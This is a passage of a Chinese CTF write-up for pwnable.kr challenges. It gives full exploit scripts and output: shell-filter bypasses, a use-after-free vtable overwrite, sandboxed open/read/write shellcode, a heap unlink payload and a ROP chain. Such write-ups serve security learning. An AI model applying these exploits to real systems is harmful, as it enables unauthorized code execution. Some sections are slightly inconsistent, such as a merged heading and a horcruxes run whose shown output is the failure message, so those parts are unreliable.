putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

可以通过设置进程环境变量的方式,实现绕过。

1
2
$ env A="/home/cmd1/flag" ./cmd1 '/bin/cat $A'
mommy now I get what PATH environment is for :)

cmd2

查看程序源码,需要绕过 filter() 函数的过滤条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

/tmp 目录下新建的目录中,建立 flag 文件的软链接,以此绕过对 flag 字符串的检测。

1
2
3
mkdir /tmp/test100
cd /tmp/test100
ln -s /home/cmd2/flag test

切换到系统根目录,此时 pwd 命令的结果为 / 字符,可以借此绕过对 / 字符的限制。注意使用 ' 防止转义。

1
2
3
4
$ cd /
$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)tmp$(pwd)test100$(pwd)test'
$(pwd)bin$(pwd)cat $(pwd)tmp$(pwd)test100$(pwd)test
FuN_w1th_5h3ll_v4riabl3s_haha

uaf

查看程序源码,需要执行 give_shell() 函数得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

分析可知,通过修改 Human 类中的虚表指针,可以实现对 give_shell() 函数的调用。

基本思路如下:

  1. 将创建的两个对象实例 mw 释放。
  2. 申请与对象实例相同大小的内存空间,得到最后释放对象的内存地址。
  3. 覆盖位于对象内存起始位置的虚表指针。
  4. 调用虚函数,执行目标函数。

通过调试查看程序内存中的虚表。

查看程序虚表

构造用于覆盖虚表指针的地址。

1
2
3
mkdir /tmp/test100
cd /tmp/test100
python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > func_addr

触发 UAF 漏洞,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ /home/uaf/uaf 24 /tmp/test100/func_addr
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat /home/uaf/flag
yay_f1ag_aft3r_pwning

memcpy

查看程序源码,测试内存分配函数便可 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}

查看 readme 文件,需要通过 nc 0 9022 运行编译后的程序。

1
2
the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
execute the binary by connecting to daemon(nc 0 9022).

程序在分配内存时,总是报错退出,无法成功完成测试。

1
2
3
4
5
6
7
experiment 4 : memcpy with buffer size 64
ellapsed CPU cycles for slow_memcpy : 1802
ellapsed CPU cycles for fast_memcpy : 416

experiment 5 : memcpy with buffer size 128
ellapsed CPU cycles for slow_memcpy : 2804
memcpy@pwnable:~$

调试发现,程序在执行 movntps %%xmm0, (%1) 指令时发生错误。

查询资料可知,指令 movntps 要求目的地址必须按 16 字节对齐,否则报错。

编写测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python

from pwn import *
import math

target = remote('0.0.0.0', 9022)

for e in range(4, 15):
for size in range(int(math.pow(2, e-1)), int(math.pow(2, e))):
if (size + 4) % 16 == 0:
print target.recvuntil(': ') + str(size)
target.sendline(str(size))
break

print target.recvall()

target.close()

运行测试脚本,得到 flag 信息。

1
2
3
4
5
$ python get_flag.py
[+] Opening connection to 0.0.0.0 on port 9022: Done
....
thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

asm

查看程序源码,需要构造 shellcode 读取 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

由于沙箱的限制,只能使用 open()readwrite 三个函数。

编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

from pwn import *

target = remote('0.0.0.0', 9026)
context(arch='amd64', os='linux')

shellcode = shellcraft.amd64.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 100)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

print target.recvuntil('give me your x64 shellcode: ') + asm(shellcode)
target.send(asm(shellcode))

print target.recvall()

target.close()

运行利用脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
$ python get_flag.py
[+] Opening connection to 0.0.0.0 on port 9026: Done
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: H\xb8PH\xb8n1n1nofH1\x04$H\xb8o0o0o0o0PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb800000oooPH\xb800000000PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8s_very_lPH\xb8e_name_iPH\xb8_the_filPH\xb8le.sorryPH\xb8_this_fiPH\xb8ase_readPH\xb8file_plePH\xb8kr_flag_PH\xb8pwnable.PH\xb8this_is_PH\x89▒1▒1▒jX\x0f\x05H\x89▒1▒jdZH\x89▒j_jdZH\x89▒jX\x0f\x05
[+] Receiving all data: Done (100B)
[*] Closed connection to 0.0.0.0 port 9026
Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo

查看程序源码,需要调用 shell() 函数才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

根据代码可知,程序存在堆溢出漏洞,可以通过覆盖 B 结构体的链表指针实现调用任意代码。

查看 main() 函数,发现其结尾代码可以用于泄露栈地址和堆地址。

1
2
3
4
5
6
.text:080485F7                 add     esp, 10h
.text:080485FA mov eax, 0
.text:080485FF mov ecx, [ebp+var_4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn

编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

from pwn import *

target = process('/home/unlink/unlink')

display = target.recvuntil('here is stack address leak: ')
stack_addr = int(target.recvuntil('\n'), 16)
print display + str(hex(stack_addr))

display = target.recvuntil('here is heap address leak: ')
heap_addr = int(target.recvuntil('\n'), 16)
print display + str(hex(heap_addr))

payload = p32(0x080484eb)
payload += 'a' * 12
payload += p32(stack_addr + 0xc)
payload += p32(heap_addr + 0xc)

print target.recvuntil('now that you have leaks, get shell!\n') + payload
target.sendline(payload)

target.interactive()

target.close()

运行利用脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
$ python get_flag.py
[+] Starting local process '/home/unlink/unlink': pid 203615
here is stack address leak: 0xffb4c134
here is heap address leak: 0x8d36410
now that you have leaks, get shell!
aaaaaaaaaaaa@▒\xff\x1cd
[*] Switching to interactive mode
$ cd /home/unlink
$ cat flag
conditional_write_what_where_from_unl1nk_explo1t

blukat

查看程序源码,并未发现可以利用的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int i;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}

查看 blukat 目录,发现 password 文件可以读取。

1
2
3
4
5
$ ls -l
total 20
-r-xr-sr-x 1 root blukat_pwn 9144 Aug 8 2018 blukat
-rw-r--r-- 1 root root 645 Aug 8 2018 blukat.c
-rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password

直接查看 password 文件,得到 flag 信息。

1
2
$ cat password
cat: password: Permission denied

horcruxes

查看程序伪代码可知,需要通过 sum 校验,才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int ropme()
{
char exp[100]; // [esp+4h] [ebp-74h]
int choice; // [esp+68h] [ebp-10h]
int fd; // [esp+6Ch] [ebp-Ch]

printf("Select Menu:");
__isoc99_scanf("%d", &choice);
getchar();
if ( choice == a )
{
A();
}
else if ( choice == b )
{
B();
}
else if ( choice == c )
{
C();
}
else if ( choice == d )
{
D();
}
else if ( choice == e )
{
E();
}
else if ( choice == f )
{
F();
}
else if ( choice == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(exp);
if ( atoi(exp) == sum )
{
fd = open("flag", 0);
exp[read(fd, exp, 0x64u)] = 0;
puts(exp);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;

分析程序,发现存在栈溢出漏洞。

1
2
printf("How many EXP did you earned? : ");
gets(exp);

查看程序开启的保护机制。

1
2
3
4
5
6
7
$ checksec horcruxes
[*] '/home/horcruxes/horcruxes'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x809f000)

可以利用栈溢出漏洞,跳转到任意地址执行代码。

查看 init_ABCDEFG() 函数,得知 sum 值由 7 个随机值相加而成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int init_ABCDEFG()
{
int result; // eax
unsigned int buf; // [esp+8h] [ebp-10h] BYREF
int fd; // [esp+Ch] [ebp-Ch]

fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = -559038737 * rand() % 0xCAFEBABE;
b = -559038737 * rand() % 0xCAFEBABE;
c = -559038737 * rand() % 0xCAFEBABE;
d = -559038737 * rand() % 0xCAFEBABE;
e = -559038737 * rand() % 0xCAFEBABE;
f = -559038737 * rand() % 0xCAFEBABE;
g = -559038737 * rand() % 0xCAFEBABE;
result = f + e + d + c + b + a + g;
sum = result;
return result;
}

查看 A() 函数,发现将打印 a 的值。其他几个函数同样会打印对应变量的值。

1
2
3
4
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}

因此,可以通过栈溢出漏洞,跳转到 7 个打印随机值的函数,从而计算出正确的 sum 值。

编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python

from pwn import *

target = remote('0.0.0.0', 9032)

choice = '1'
print target.recvuntil('Select Menu:') + choice
target.sendline(choice)

exp = 'a' * 0x78
exp += p32(0x0809FE4B)
exp += p32(0x0809FE6A)
exp += p32(0x0809FE89)
exp += p32(0x0809FEA8)
exp += p32(0x0809FEC7)
exp += p32(0x0809FEE6)
exp += p32(0x0809FF05)
exp += p32(0x0809FFFC)
print target.recvuntil('How many EXP did you earned? : ') + exp
target.sendline(exp)

sum = 0
for i in range(7):
display = target.recvuntil('EXP +')
num = int(target.recvuntil(')\n')[:-2])
sum += num
print display + str(num) + ')'

choice = '1'
print target.recvuntil('Select Menu:') + choice
target.sendline(choice)

print target.recvuntil('How many EXP did you earned? : ') + str(sum)
target.sendline(str(sum))

print target.recvall();

target.close()

运行脚本,得到 flag 信息。

1
2
3
4
5
6
$ python get_flag.py
[+] Opening connection to 0.0.0.0 on port 9032: Done
....
[+] Receiving all data: Done (51B)
[*] Closed connection to 0.0.0.0 port 9032
You'd better get more experience to kill Voldemort